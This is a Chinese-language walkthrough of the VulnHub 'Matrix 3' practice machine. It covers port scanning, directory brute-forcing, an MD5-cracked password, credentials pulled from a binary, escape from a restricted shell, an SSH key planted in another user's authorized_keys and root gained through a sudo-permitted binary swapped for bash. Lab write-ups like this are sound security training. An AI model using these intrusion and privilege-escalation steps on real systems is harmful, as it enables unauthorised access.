下载地址:https://download.vulnhub.com/matrix/Machine_Matrix_v3.ova
测试机系统:kali、win11
Matrix3靶机IP地址:192.168.248.131
Kali的IP地址:192.168.248.132
下载并导入靶机
打开vmware——文件—打开—hackme.ova—导入虚拟机
查看网络适配器
将靶机网络适配器改为NAT模式
启动靶机
点击??靶机,开启成功
nmap -sP -T4 192.168.248.0/24 -oN nmap220.sP
发现靶机IP:192.168.248.131
使用nmap发现靶机开放的端口,已开放80、6464、7331三个端口
nmap -A -T4 192.168.248.131 -p- -oN nmap160.A
分别访问7331、80端口查看页面
7331端口页面是一个登陆页面,但无账号密码
80端口页面,页面提示“Follow the White Rabbit”,并在页面下面发现白兔子图片,查看网页源码发现兔子图片的链接
打开图片链接,图片名给了提示“Matrix_can-show-you-the-door”
http://192.168.248.131/assets/img/Matrix_can-show-you-the-door.png
直接在80端口,访问Matrix目录,发现可以打开,并发现很多目录
http://192.168.248.131/Matrix/
在Matrix/n/e/o/6/4/目录下发现一个secret.gz文件,应该是一个提示
http://192.168.248.131/Matrix/n/e/o/6/4
将secret.gz下载到本地,无法解压,再查看文件的类型是一个文本文件,ls查看文本内容发现登录用户和加密后的密码
wget http://192.168.248.131/Matrix/n/e/o/6/4/secret.gz
gunzip secret.gz
ls
file secret.gz
cat secret.gz
密文采用md5加密,解密后密码为:passwd
使用admin/passwd登录7331端口页面
使用kali下的dirb工具爆破目录及文件,发现assets、data目录
dirb http://192.168.248.131:7331/ -u admin:passwd -w
在data目录下发现data文件
下载data文件到本地:
wget http://192.168.248.131:7331/data/data --user=admin --password=passwd
查看data文件的文件类型,是一个Windows下的文件,但是在这里遇见了问题,没有找出data文件中隐藏的内容
file?data
使用IDA Pro反编译data文件找到了guest用户及密码为:7R1n17yN30
正如我们已经从我们的nmap扫描知道有SSH在目标计算机上的端口6464上运行,因此我们尝试用上面找到用户名和密码的ssh目标机就能成功的登录。
命令:?ssh guest@192.168.248.131 –p 6464
输入密码:7R1n17yN30
漏洞利用
使用?guest/7R1n17yN30 进行 ssh 登录得到,获得 bash ,不过是一个受限制的 bash ,rbash ( restriced bash ) ,使得一些基本的命令都无法执行
方法一
使用?-t “bash --noprofile”?来禁止相关的启动脚本,从而获得完整的 shell
ssh guest@192.168.248.131 -p 6464 -t "bash --noprofile"
方法二
利用?vi 编辑器,改变环境变量 getshell
export PATH="/usr/bin"
/usr/bin/bash
ps:不能直接在不完整的 shell 中修改环境变量 PATH,因为权限不够,只读权限(readonly variable)
利用的思路是在?guest 账户下生成 ssh 密钥,然后将同时生成的公钥复制到 trinity 账户下的 .ssh/authorized_keys
rm -rf .ssh
ssh-keygen
chmod 777 .ssh
chmod 777 .ssh/id_rsa.pub
ls?-al .ssh/
sudo -u trinity /bin/cp .ssh/id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh trinity@127.0.0.1 -i .ssh/id_rsa -p 6464
sudo -l
???使用ssh连接trinity用户,成功登录
cp /usr/bin/bash oracle
chmod +x oracle
sudo ./oracle
调用oracle,成功拥有root权限,在root目录下找到flag.txt文件
sudo ./oracle
cd /root/
cat flag.txt
完成!over!!